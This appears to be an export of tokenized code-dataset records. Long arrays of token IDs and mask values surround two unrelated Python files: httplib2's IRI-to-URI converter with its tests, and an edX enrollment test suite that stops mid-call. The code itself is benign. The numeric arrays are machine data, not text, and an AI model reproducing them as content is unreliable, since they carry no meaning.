5762, 29, 3136, 16, 523, 1830, 5762, 12932, 3136, 17, 26, 272, 870, 360, 14139, 2787, 327, 28476, 1690, 1386, 9499, 908, 8, 73, 11, 17, 12803, 521, 14, 521, 22251, 84, 16, 2447, 2259, 14, 16, 430, 272, 754, 29, 1238, 14, 38, 63, 11668, 8, 25145, 11, 29046, 10, 3136, 12, 988, 63, 1661, 29, 988, 63, 1661, 12, 2747, 63, 1569, 29, 826, 9, 272, 1390, 63, 1661, 29, 888, 14, 2926, 63, 1661, 272, 4205, 29, 1099, 272, 284, 29, 73, 11, 17, 272, 5762, 29, 3136, 11, 68, 3136, 272, 340, 283, 2629, 7, 315, 2963, 1412, 436, 747, 14, 515, 14, 2444, 8, 56, 63, 2629, 304, 489, 754, 10, 29, 2629, 489, 754, 10365, 5043, 5830, 17, 13, 2629, 9, 272, 340, 283, 2326, 7, 315, 2963, 1412, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
darren-rogan/CouchPotatoServer
libs/httplib2/iri2uri.py
885
3850
""" iri2uri Converts an IRI to a URI. """ __author__ = "Joe Gregorio (joe@bitworking.org)" __copyright__ = "Copyright 2006, Joe Gregorio" __contributors__ = [] __version__ = "1.0.0" __license__ = "MIT" __history__ = """ """ import urlparse # Convert an IRI to a URI following the rules in RFC 3987 # # The characters we need to enocde and escape are defined in the spec: # # iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD # ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF # / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD # / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD # / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD # / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD # / %xD0000-DFFFD / %xE1000-EFFFD escape_range = [ (0xA0, 0xD7FF ), (0xE000, 0xF8FF ), (0xF900, 0xFDCF ), (0xFDF0, 0xFFEF), (0x10000, 0x1FFFD ), (0x20000, 0x2FFFD ), (0x30000, 0x3FFFD), (0x40000, 0x4FFFD ), (0x50000, 0x5FFFD ), (0x60000, 0x6FFFD), (0x70000, 0x7FFFD ), (0x80000, 0x8FFFD ), (0x90000, 0x9FFFD), (0xA0000, 0xAFFFD ), (0xB0000, 0xBFFFD ), (0xC0000, 0xCFFFD), (0xD0000, 0xDFFFD ), (0xE1000, 0xEFFFD), (0xF0000, 0xFFFFD ), (0x100000, 0x10FFFD) ] def encode(c): retval = c i = ord(c) for low, high in escape_range: if i < low: break if i >= low and i <= high: retval = "".join(["%%%2X" % ord(o) for o in c.encode('utf-8')]) break return retval def iri2uri(uri): """Convert an IRI to a URI. Note that IRIs must be passed in a unicode strings. That is, do not utf-8 encode the IRI before passing it into the function.""" if isinstance(uri ,unicode): (scheme, authority, path, query, fragment) = urlparse.urlsplit(uri) authority = authority.encode('idna') # For each character in 'ucschar' or 'iprivate' # 1. encode as utf-8 # 2. then %-encode each octet of that utf-8 uri = urlparse.urlunsplit((scheme, authority, path, query, fragment)) uri = "".join([encode(c) for c in uri]) return uri if __name__ == "__main__": import unittest class Test(unittest.TestCase): def test_uris(self): """Test that URIs are invariant under the transformation.""" invariant = [ u"ftp://ftp.is.co.za/rfc/rfc1808.txt", u"http://www.ietf.org/rfc/rfc2396.txt", u"ldap://[2001:db8::7]/c=GB?objectClass?one", u"mailto:John.Doe@example.com", u"news:comp.infosystems.www.servers.unix", u"tel:+1-816-555-1212", u"telnet://192.0.2.16:80/", u"urn:oasis:names:specification:docbook:dtd:xml:4.1.2" ] for uri in invariant: self.assertEqual(uri, iri2uri(uri)) def test_iri(self): """ Test that the right type of escaping is done for each part of the URI.""" self.assertEqual("http://xn--o3h.com/%E2%98%84", iri2uri(u"http://\N{COMET}.com/\N{COMET}")) self.assertEqual("http://bitworking.org/?fred=%E2%98%84", iri2uri(u"http://bitworking.org/?fred=\N{COMET}")) self.assertEqual("http://bitworking.org/#%E2%98%84", iri2uri(u"http://bitworking.org/#\N{COMET}")) self.assertEqual("#%E2%98%84", iri2uri(u"#\N{COMET}")) self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}")) self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}"))) self.assertNotEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}".encode('utf-8'))) unittest.main()
gpl-3.0
[ 624, 199, 19081, 18, 2302, 199, 199, 17729, 376, 473, 6129, 370, 282, 9022, 14, 199, 199, 624, 199, 363, 2502, 363, 275, 298, 5691, 69, 29096, 269, 2308, 334, 20241, 32, 2075, 9818, 14, 1308, 2924, 199, 363, 7307, 363, 275, 298, 7384, 8315, 12, 7135, 69, 29096, 269, 2308, 2, 199, 363, 21630, 363, 275, 942, 199, 363, 1023, 363, 275, 298, 17, 14, 16, 14, 16, 2, 199, 363, 1682, 363, 275, 298, 13965, 2, 199, 363, 5570, 363, 275, 408, 199, 624, 199, 199, 646, 7097, 421, 199, 3, 7905, 376, 473, 6129, 370, 282, 9022, 2569, 314, 4713, 315, 7329, 10551, 1555, 199, 3, 221, 199, 3, 710, 4110, 781, 1929, 370, 655, 679, 271, 436, 4772, 787, 3247, 315, 314, 3158, 26, 199, 3, 199, 3, 284, 4239, 275, 221, 450, 6991, 1493, 13, 38, 24, 1665, 1182, 450, 6287, 993, 13, 6968, 36, 1182, 450, 88, 15274, 13, 709, 28050, 199, 3, 27455, 1560, 275, 450, 7471, 16, 13, 36, 23, 1665, 1182, 450, 6287, 17518, 13, 38, 5196, 38, 1182, 450, 6287, 3888, 16, 13, 1665, 14153, 199, 3, 260, 1182, 450, 88, 9943, 13, 17, 28050, 1182, 450, 88, 27140, 13, 18, 28050, 1182, 450, 88, 19, 993, 13, 19, 28050, 199, 3, 260, 1182, 450, 88, 20, 993, 13, 20, 28050, 1182, 450, 88, 21, 993, 13, 21, 28050, 1182, 450, 88, 22, 993, 13, 22, 28050, 199, 3, 260, 1182, 450, 88, 23, 993, 13, 23, 28050, 1182, 450, 88, 24, 993, 13, 24, 28050, 1182, 450, 88, 25, 993, 13, 25, 28050, 199, 3, 260, 1182, 450, 7471, 993, 13, 25900, 7902, 1182, 450, 8094, 993, 13, 34, 28050, 1182, 450, 8163, 993, 13, 35, 28050, 199, 3, 260, 1182, 450, 8313, 993, 13, 36, 28050, 1182, 450, 6991, 5279, 13, 37, 28050, 199, 199, 3765, 63, 1842, 275, 359, 2043, 334, 16, 7471, 16, 12, 378, 8313, 23, 1665, 2318, 2043, 334, 16, 6991, 1493, 12, 378, 6287, 24, 1665, 2318, 2043, 334, 16, 6287, 17518, 12, 378, 6287, 5196, 38, 2318, 2043, 334, 16, 6287, 3888, 16, 12, 378, 9039, 14153, 395, 2043, 334, 16, 88, 9943, 12, 378, 88, 17, 28050, 2318, 2043, 334, 16, 88, 27140, 12, 378, 88, 18, 28050, 2318, 2043, 334, 16, 88, 19, 993, 12, 378, 88, 19, 28050, 395, 2043, 334, 16, 88, 20, 993, 12, 378, 88, 20, 28050, 2318, 2043, 334, 16, 88, 21, 993, 12, 378, 88, 21, 28050, 2318, 2043, 334, 16, 88, 22, 993, 12, 378, 88, 22, 28050, 395, 2043, 334, 16, 88, 23, 993, 12, 378, 88, 23, 28050, 2318, 2043, 334, 16, 88, 24, 993, 12, 378, 88, 24, 28050, 2318, 2043, 334, 16, 88, 25, 993, 12, 378, 88, 25, 28050, 395, 2043, 334, 16, 7471, 993, 12, 378, 7471, 28050, 2318, 2043, 334, 16, 8094, 993, 12, 378, 8094, 28050, 2318, 2043, 334, 16, 8163, 993, 12, 378, 8163, 28050, 395, 2043, 334, 16, 8313, 993, 12, 378, 8313, 28050, 2318, 2043, 334, 16, 6991, 5279, 12, 378, 6991, 28050, 395, 2043, 334, 16, 6287, 993, 12, 378, 23973, 36, 2318, 2043, 334, 16, 88, 15274, 12, 378, 88, 709, 28050, 9, 199, 61, 523, 199, 318, 3752, 8, 67, 304, 272, 9151, 275, 286, 272, 284, 275, 6206, 8, 67, 9, 272, 367, 6465, 12, 4721, 315, 4772, 63, 1842, 26, 267, 340, 284, 665, 6465, 26, 288, 2059, 267, 340, 284, 2356, 6465, 436, 284, 2695, 4721, 26, 288, 9151, 275, 10587, 904, 5234, 8530, 5, 18, 56, 2, 450, 6206, 8, 79, 9, 367, 312, 315, 286, 14, 2143, 360, 1624, 13, 24, 2023, 288, 2059, 272, 372, 9151, 421, 199, 318, 24086, 18, 2302, 8, 2302, 304, 272, 408, 7306, 376, 473, 6129, 370, 282, 9022, 14, 3390, 626, 473, 50, 1831, 1471, 506, 5591, 3032, 315, 282, 2649, 3326, 14, 10314, 365, 12, 886, 440, 2774, 13, 24, 3752, 272, 314, 473, 6129, 2544, 9476, 652, 1901, 314, 805, 1041, 5591, 340, 1228, 8, 2302, 2360, 2975, 304, 267, 334, 5512, 12, 18330, 12, 931, 12, 1827, 12, 7956, 9, 275, 7097, 14, 29491, 8, 2302, 9, 267, 18330, 275, 18330, 14, 2143, 360, 344, 3540, 358, 267, 327, 2104, 1924, 4528, 315, 283, 23880, 1560, 7, 503, 283, 711, 322, 2409, 7, 267, 327, 221, 413, 14, 3752, 465, 2774, 13, 24, 267, 327, 221, 499, 14, 2066, 19752, 2143, 1924, 30974, 402, 626, 2774, 13, 24, 4960, 5108, 275, 7097, 14, 633, 30038, 1332, 5512, 12, 18330, 12, 931, 12, 1827, 12, 7956, 430, 267, 5108, 275, 10587, 904, 779, 2143, 8, 67, 9, 367, 286, 315, 5108, 566, 272, 372, 5108, 268, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 2882, 339, 1021, 1379, 8, 2796, 14, 1746, 304, 398, 347, 511, 63, 17656, 8, 277, 304, 288, 408, 774, 626, 30143, 787, 30326, 1334, 314, 13315, 1041, 288, 30326, 275, 359, 8892, 399, 2, 8915, 921, 8915, 14, 374, 14, 331, 14, 8076, 15, 8973, 15, 8973, 1085, 2036, 14, 2424, 401, 355, 399, 2, 1014, 921, 1544, 14, 15799, 14, 1308, 15, 8973, 15, 8973, 9803, 22, 14, 2424, 401, 355, 399, 2, 9642, 921, 59, 8339, 26, 697, 24, 447, 23, 12978, 67, 29, 6487, 31, 785, 2543, 31, 368, 401, 355, 399, 2, 26206, 26, 12923, 14, 2585, 69, 32, 2694, 14, 957, 401, 355, 399, 2, 13224, 26, 863, 14, 815, 19135, 14, 1544, 14, 5871, 14, 11864, 401, 355, 399, 2, 14146, 31146, 17, 13, 31104, 13, 15722, 13, 25481, 401, 355, 399, 2, 31085, 921, 5756, 14, 16, 14, 18, 14, 975, 26, 1257, 10665, 355, 399, 2, 349, 26, 28930, 26, 1247, 26, 22271, 26, 1301, 2706, 26, 15662, 26, 1652, 26, 20, 14, 17, 14, 18, 2, 1622, 288, 367, 5108, 315, 30326, 26, 355, 291, 14, 629, 8, 2302, 12, 24086, 18, 2302, 8, 2302, 430, 10631, 347, 511, 63, 19081, 8, 277, 304, 288, 408, 1379, 626, 314, 2451, 730, 402, 21375, 365, 4224, 367, 1924, 1777, 402, 314, 9022, 1041, 288, 291, 14, 629, 480, 1014, 921, 5032, 306, 79 ]
[ 199, 19081, 18, 2302, 199, 199, 17729, 376, 473, 6129, 370, 282, 9022, 14, 199, 199, 624, 199, 363, 2502, 363, 275, 298, 5691, 69, 29096, 269, 2308, 334, 20241, 32, 2075, 9818, 14, 1308, 2924, 199, 363, 7307, 363, 275, 298, 7384, 8315, 12, 7135, 69, 29096, 269, 2308, 2, 199, 363, 21630, 363, 275, 942, 199, 363, 1023, 363, 275, 298, 17, 14, 16, 14, 16, 2, 199, 363, 1682, 363, 275, 298, 13965, 2, 199, 363, 5570, 363, 275, 408, 199, 624, 199, 199, 646, 7097, 421, 199, 3, 7905, 376, 473, 6129, 370, 282, 9022, 2569, 314, 4713, 315, 7329, 10551, 1555, 199, 3, 221, 199, 3, 710, 4110, 781, 1929, 370, 655, 679, 271, 436, 4772, 787, 3247, 315, 314, 3158, 26, 199, 3, 199, 3, 284, 4239, 275, 221, 450, 6991, 1493, 13, 38, 24, 1665, 1182, 450, 6287, 993, 13, 6968, 36, 1182, 450, 88, 15274, 13, 709, 28050, 199, 3, 27455, 1560, 275, 450, 7471, 16, 13, 36, 23, 1665, 1182, 450, 6287, 17518, 13, 38, 5196, 38, 1182, 450, 6287, 3888, 16, 13, 1665, 14153, 199, 3, 260, 1182, 450, 88, 9943, 13, 17, 28050, 1182, 450, 88, 27140, 13, 18, 28050, 1182, 450, 88, 19, 993, 13, 19, 28050, 199, 3, 260, 1182, 450, 88, 20, 993, 13, 20, 28050, 1182, 450, 88, 21, 993, 13, 21, 28050, 1182, 450, 88, 22, 993, 13, 22, 28050, 199, 3, 260, 1182, 450, 88, 23, 993, 13, 23, 28050, 1182, 450, 88, 24, 993, 13, 24, 28050, 1182, 450, 88, 25, 993, 13, 25, 28050, 199, 3, 260, 1182, 450, 7471, 993, 13, 25900, 7902, 1182, 450, 8094, 993, 13, 34, 28050, 1182, 450, 8163, 993, 13, 35, 28050, 199, 3, 260, 1182, 450, 8313, 993, 13, 36, 28050, 1182, 450, 6991, 5279, 13, 37, 28050, 199, 199, 3765, 63, 1842, 275, 359, 2043, 334, 16, 7471, 16, 12, 378, 8313, 23, 1665, 2318, 2043, 334, 16, 6991, 1493, 12, 378, 6287, 24, 1665, 2318, 2043, 334, 16, 6287, 17518, 12, 378, 6287, 5196, 38, 2318, 2043, 334, 16, 6287, 3888, 16, 12, 378, 9039, 14153, 395, 2043, 334, 16, 88, 9943, 12, 378, 88, 17, 28050, 2318, 2043, 334, 16, 88, 27140, 12, 378, 88, 18, 28050, 2318, 2043, 334, 16, 88, 19, 993, 12, 378, 88, 19, 28050, 395, 2043, 334, 16, 88, 20, 993, 12, 378, 88, 20, 28050, 2318, 2043, 334, 16, 88, 21, 993, 12, 378, 88, 21, 28050, 2318, 2043, 334, 16, 88, 22, 993, 12, 378, 88, 22, 28050, 395, 2043, 334, 16, 88, 23, 993, 12, 378, 88, 23, 28050, 2318, 2043, 334, 16, 88, 24, 993, 12, 378, 88, 24, 28050, 2318, 2043, 334, 16, 88, 25, 993, 12, 378, 88, 25, 28050, 395, 2043, 334, 16, 7471, 993, 12, 378, 7471, 28050, 2318, 2043, 334, 16, 8094, 993, 12, 378, 8094, 28050, 2318, 2043, 334, 16, 8163, 993, 12, 378, 8163, 28050, 395, 2043, 334, 16, 8313, 993, 12, 378, 8313, 28050, 2318, 2043, 334, 16, 6991, 5279, 12, 378, 6991, 28050, 395, 2043, 334, 16, 6287, 993, 12, 378, 23973, 36, 2318, 2043, 334, 16, 88, 15274, 12, 378, 88, 709, 28050, 9, 199, 61, 523, 199, 318, 3752, 8, 67, 304, 272, 9151, 275, 286, 272, 284, 275, 6206, 8, 67, 9, 272, 367, 6465, 12, 4721, 315, 4772, 63, 1842, 26, 267, 340, 284, 665, 6465, 26, 288, 2059, 267, 340, 284, 2356, 6465, 436, 284, 2695, 4721, 26, 288, 9151, 275, 10587, 904, 5234, 8530, 5, 18, 56, 2, 450, 6206, 8, 79, 9, 367, 312, 315, 286, 14, 2143, 360, 1624, 13, 24, 2023, 288, 2059, 272, 372, 9151, 421, 199, 318, 24086, 18, 2302, 8, 2302, 304, 272, 408, 7306, 376, 473, 6129, 370, 282, 9022, 14, 3390, 626, 473, 50, 1831, 1471, 506, 5591, 3032, 315, 282, 2649, 3326, 14, 10314, 365, 12, 886, 440, 2774, 13, 24, 3752, 272, 314, 473, 6129, 2544, 9476, 652, 1901, 314, 805, 1041, 5591, 340, 1228, 8, 2302, 2360, 2975, 304, 267, 334, 5512, 12, 18330, 12, 931, 12, 1827, 12, 7956, 9, 275, 7097, 14, 29491, 8, 2302, 9, 267, 18330, 275, 18330, 14, 2143, 360, 344, 3540, 358, 267, 327, 2104, 1924, 4528, 315, 283, 23880, 1560, 7, 503, 283, 711, 322, 2409, 7, 267, 327, 221, 413, 14, 3752, 465, 2774, 13, 24, 267, 327, 221, 499, 14, 2066, 19752, 2143, 1924, 30974, 402, 626, 2774, 13, 24, 4960, 5108, 275, 7097, 14, 633, 30038, 1332, 5512, 12, 18330, 12, 931, 12, 1827, 12, 7956, 430, 267, 5108, 275, 10587, 904, 779, 2143, 8, 67, 9, 367, 286, 315, 5108, 566, 272, 372, 5108, 268, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 492, 2882, 339, 1021, 1379, 8, 2796, 14, 1746, 304, 398, 347, 511, 63, 17656, 8, 277, 304, 288, 408, 774, 626, 30143, 787, 30326, 1334, 314, 13315, 1041, 288, 30326, 275, 359, 8892, 399, 2, 8915, 921, 8915, 14, 374, 14, 331, 14, 8076, 15, 8973, 15, 8973, 1085, 2036, 14, 2424, 401, 355, 399, 2, 1014, 921, 1544, 14, 15799, 14, 1308, 15, 8973, 15, 8973, 9803, 22, 14, 2424, 401, 355, 399, 2, 9642, 921, 59, 8339, 26, 697, 24, 447, 23, 12978, 67, 29, 6487, 31, 785, 2543, 31, 368, 401, 355, 399, 2, 26206, 26, 12923, 14, 2585, 69, 32, 2694, 14, 957, 401, 355, 399, 2, 13224, 26, 863, 14, 815, 19135, 14, 1544, 14, 5871, 14, 11864, 401, 355, 399, 2, 14146, 31146, 17, 13, 31104, 13, 15722, 13, 25481, 401, 355, 399, 2, 31085, 921, 5756, 14, 16, 14, 18, 14, 975, 26, 1257, 10665, 355, 399, 2, 349, 26, 28930, 26, 1247, 26, 22271, 26, 1301, 2706, 26, 15662, 26, 1652, 26, 20, 14, 17, 14, 18, 2, 1622, 288, 367, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kmoocdev2/edx-platform
common/djangoapps/student/tests/test_enrollment.py
9
14818
""" Tests for student enrollment. """ import unittest import ddt from django.conf import settings from django.urls import reverse from mock import patch from nose.plugins.attrib import attr from course_modes.models import CourseMode from course_modes.tests.factories import CourseModeFactory from openedx.core.djangoapps.embargo.test_utils import restrict_course from student.models import ( CourseEnrollment, CourseEnrollmentAllowed, CourseFullError, EnrollmentClosedError, SCORE_RECALCULATION_DELAY_ON_ENROLLMENT_UPDATE, ) from student.roles import CourseInstructorRole, CourseStaffRole from student.tests.factories import CourseEnrollmentAllowedFactory, UserFactory from util.testing import UrlResetMixin from xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase from xmodule.modulestore.tests.factories import CourseFactory @attr(shard=3) @ddt.ddt @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms') class EnrollmentTest(UrlResetMixin, SharedModuleStoreTestCase): """ Test student enrollment, especially with different course modes. """ USERNAME = "Bob" EMAIL = "bob@example.com" PASSWORD = "edx" URLCONF_MODULES = ['openedx.core.djangoapps.embargo'] @classmethod def setUpClass(cls): super(EnrollmentTest, cls).setUpClass() cls.course = CourseFactory.create() cls.course_limited = CourseFactory.create() @patch.dict(settings.FEATURES, {'EMBARGO': True}) def setUp(self): """ Create a course and user, then log in. """ super(EnrollmentTest, self).setUp() self.user = UserFactory.create(username=self.USERNAME, email=self.EMAIL, password=self.PASSWORD) self.client.login(username=self.USERNAME, password=self.PASSWORD) self.course_limited.max_student_enrollments_allowed = 1 self.store.update_item(self.course_limited, self.user.id) self.urls = [ reverse('course_modes_choose', kwargs={'course_id': unicode(self.course.id)}) ] @ddt.data( # Default (no course modes in the database) # Expect that we're redirected to the dashboard # and automatically enrolled ([], '', CourseMode.DEFAULT_MODE_SLUG), # Audit / Verified # We should always go to the "choose your course" page. # We should also be enrolled as the default mode. (['verified', 'audit'], 'course_modes_choose', CourseMode.DEFAULT_MODE_SLUG), # Audit / Verified / Honor # We should always go to the "choose your course" page. # We should also be enrolled as the honor mode. # Since honor and audit are currently offered together this precedence must # be maintained. (['honor', 'verified', 'audit'], 'course_modes_choose', CourseMode.HONOR), # Professional ed # Expect that we're sent to the "choose your track" page # (which will, in turn, redirect us to a page where we can verify/pay) # We should NOT be auto-enrolled, because that would be giving # away an expensive course for free :) (['professional'], 'course_modes_choose', None), (['no-id-professional'], 'course_modes_choose', None), ) @ddt.unpack def test_enroll(self, course_modes, next_url, enrollment_mode): # Create the course modes (if any) required for this test case for mode_slug in course_modes: CourseModeFactory.create( course_id=self.course.id, mode_slug=mode_slug, mode_display_name=mode_slug, ) # Reverse the expected next URL, if one is provided # (otherwise, use an empty string, which the JavaScript client # interprets as a redirect to the dashboard) full_url = ( reverse(next_url, kwargs={'course_id': unicode(self.course.id)}) if next_url else next_url ) # Enroll in the course and verify the URL we get sent to resp = self._change_enrollment('enroll') self.assertEqual(resp.status_code, 200) self.assertEqual(resp.content, full_url) # If we're not expecting to be enrolled, verify that this is the case if enrollment_mode is None: self.assertFalse(CourseEnrollment.is_enrolled(self.user, self.course.id)) # Otherwise, verify that we're enrolled with the expected course mode else: self.assertTrue(CourseEnrollment.is_enrolled(self.user, self.course.id)) course_mode, is_active = CourseEnrollment.enrollment_mode_for_user(self.user, self.course.id) self.assertTrue(is_active) self.assertEqual(course_mode, enrollment_mode) def test_unenroll(self): # Enroll the student in the course CourseEnrollment.enroll(self.user, self.course.id, mode="honor") # Attempt to unenroll the student resp = self._change_enrollment('unenroll') self.assertEqual(resp.status_code, 200) # Expect that we're no longer enrolled self.assertFalse(CourseEnrollment.is_enrolled(self.user, self.course.id)) @patch.dict(settings.FEATURES, {'ENABLE_MKTG_EMAIL_OPT_IN': True}) @patch('openedx.core.djangoapps.user_api.preferences.api.update_email_opt_in') @ddt.data( ([], 'true'), ([], 'false'), ([], None), (['honor', 'verified'], 'true'), (['honor', 'verified'], 'false'), (['honor', 'verified'], None), (['professional'], 'true'), (['professional'], 'false'), (['professional'], None), (['no-id-professional'], 'true'), (['no-id-professional'], 'false'), (['no-id-professional'], None), ) @ddt.unpack def test_enroll_with_email_opt_in(self, course_modes, email_opt_in, mock_update_email_opt_in): # Create the course modes (if any) required for this test case for mode_slug in course_modes: CourseModeFactory.create( course_id=self.course.id, mode_slug=mode_slug, mode_display_name=mode_slug, ) # Enroll in the course self._change_enrollment('enroll', email_opt_in=email_opt_in) # Verify that the profile API has been called as expected if email_opt_in is not None: opt_in = email_opt_in == 'true' mock_update_email_opt_in.assert_called_once_with(self.user, self.course.org, opt_in) else: self.assertFalse(mock_update_email_opt_in.called) @patch.dict(settings.FEATURES, {'EMBARGO': True}) def test_embargo_restrict(self): # When accessing the course from an embargoed country, # we should be blocked. with restrict_course(self.course.id) as redirect_url: response = self._change_enrollment('enroll') self.assertEqual(response.status_code, 200) self.assertEqual(response.content, redirect_url) # Verify that we weren't enrolled is_enrolled = CourseEnrollment.is_enrolled(self.user, self.course.id) self.assertFalse(is_enrolled) @patch.dict(settings.FEATURES, {'EMBARGO': True}) def test_embargo_allow(self): response = self._change_enrollment('enroll') self.assertEqual(response.status_code, 200) self.assertEqual(response.content, '') # Verify that we were enrolled is_enrolled = CourseEnrollment.is_enrolled(self.user, self.course.id) self.assertTrue(is_enrolled) def test_user_not_authenticated(self): # Log out, so we're no longer authenticated self.client.logout() # Try to enroll, expecting a forbidden response resp = self._change_enrollment('enroll') self.assertEqual(resp.status_code, 403) def test_missing_course_id_param(self): resp = self.client.post( reverse('change_enrollment'), {'enrollment_action': 'enroll'} ) self.assertEqual(resp.status_code, 400) def test_unenroll_not_enrolled_in_course(self): # Try unenroll without first enrolling in the course resp = self._change_enrollment('unenroll') self.assertEqual(resp.status_code, 400) def test_invalid_enrollment_action(self): resp = self._change_enrollment('not_an_action') self.assertEqual(resp.status_code, 400) def test_with_invalid_course_id(self): CourseEnrollment.enroll(self.user, self.course.id, mode="honor") resp = self._change_enrollment('unenroll', course_id="edx/") self.assertEqual(resp.status_code, 400) def test_enrollment_limit(self): """ Assert that in a course with max student limit set to 1, we can enroll staff and instructor along with student. To make sure course full check excludes staff and instructors. """ self.assertEqual(self.course_limited.max_student_enrollments_allowed, 1) user1 = UserFactory.create(username="tester1", email="tester1@e.com", password="test") user2 = UserFactory.create(username="tester2", email="tester2@e.com", password="test") # create staff on course. staff = UserFactory.create(username="staff", email="staff@e.com", password="test") role = CourseStaffRole(self.course_limited.id) role.add_users(staff) # create instructor on course. instructor = UserFactory.create(username="instructor", email="instructor@e.com", password="test") role = CourseInstructorRole(self.course_limited.id) role.add_users(instructor) CourseEnrollment.enroll(staff, self.course_limited.id, check_access=True) CourseEnrollment.enroll(instructor, self.course_limited.id, check_access=True) self.assertTrue( CourseEnrollment.objects.filter(course_id=self.course_limited.id, user=staff).exists() ) self.assertTrue( CourseEnrollment.objects.filter(course_id=self.course_limited.id, user=instructor).exists() ) CourseEnrollment.enroll(user1, self.course_limited.id, check_access=True) self.assertTrue( CourseEnrollment.objects.filter(course_id=self.course_limited.id, user=user1).exists() ) with self.assertRaises(CourseFullError): CourseEnrollment.enroll(user2, self.course_limited.id, check_access=True) self.assertFalse( CourseEnrollment.objects.filter(course_id=self.course_limited.id, user=user2).exists() ) def _change_enrollment(self, action, course_id=None, email_opt_in=None): """Change the student's enrollment status in a course. Args: action (str): The action to perform (either "enroll" or "unenroll") Keyword Args: course_id (unicode): If provided, use this course ID. Otherwise, use the course ID created in the setup for this test. email_opt_in (unicode): If provided, pass this value along as an additional GET parameter. Returns: Response """ if course_id is None: course_id = unicode(self.course.id) params = { 'enrollment_action': action, 'course_id': course_id } if email_opt_in: params['email_opt_in'] = email_opt_in return self.client.post(reverse('change_enrollment'), params) def test_cea_enrolls_only_one_user(self): """ Tests that a CourseEnrollmentAllowed can be used by just one user. If the user changes e-mail and then a second user tries to enroll with the same accepted e-mail, the second enrollment should fail. However, the original user can reuse the CEA many times. """ cea = CourseEnrollmentAllowedFactory( email='allowed@edx.org', course_id=self.course.id, auto_enroll=False, ) # Still unlinked self.assertIsNone(cea.user) user1 = UserFactory.create(username="tester1", email="tester1@e.com", password="test") user2 = UserFactory.create(username="tester2", email="tester2@e.com", password="test") self.assertFalse( CourseEnrollment.objects.filter(course_id=self.course.id, user=user1).exists() ) user1.email = 'allowed@edx.org' user1.save() CourseEnrollment.enroll(user1, self.course.id, check_access=True) self.assertTrue( CourseEnrollment.objects.filter(course_id=self.course.id, user=user1).exists() ) # The CEA is now linked cea.refresh_from_db() self.assertEqual(cea.user, user1) # user2 wants to enroll too, (ab)using the same allowed e-mail, but cannot user1.email = 'my_other_email@edx.org' user1.save() user2.email = 'allowed@edx.org' user2.save() with self.assertRaises(EnrollmentClosedError): CourseEnrollment.enroll(user2, self.course.id, check_access=True) # CEA still linked to user1. Also after unenrolling cea.refresh_from_db() self.assertEqual(cea.user, user1) CourseEnrollment.unenroll(user1, self.course.id) cea.refresh_from_db() self.assertEqual(cea.user, user1) # Enroll user1 again. Because it's the original owner of the CEA, the enrollment is allowed CourseEnrollment.enroll(user1, self.course.id, check_access=True) # Still same cea.refresh_from_db() self.assertEqual(cea.user, user1) def test_score_recalculation_on_enrollment_update(self): """ Test that an update in enrollment cause score recalculation. Note: Score recalculation task must be called with a delay of SCORE_RECALCULATION_DELAY_ON_ENROLLMENT_UPDATE """ course_modes = ['verified', 'audit'] for mode_slug in course_modes: CourseModeFactory.create( course_id=self.course.id, mode_slug=mode_slug, 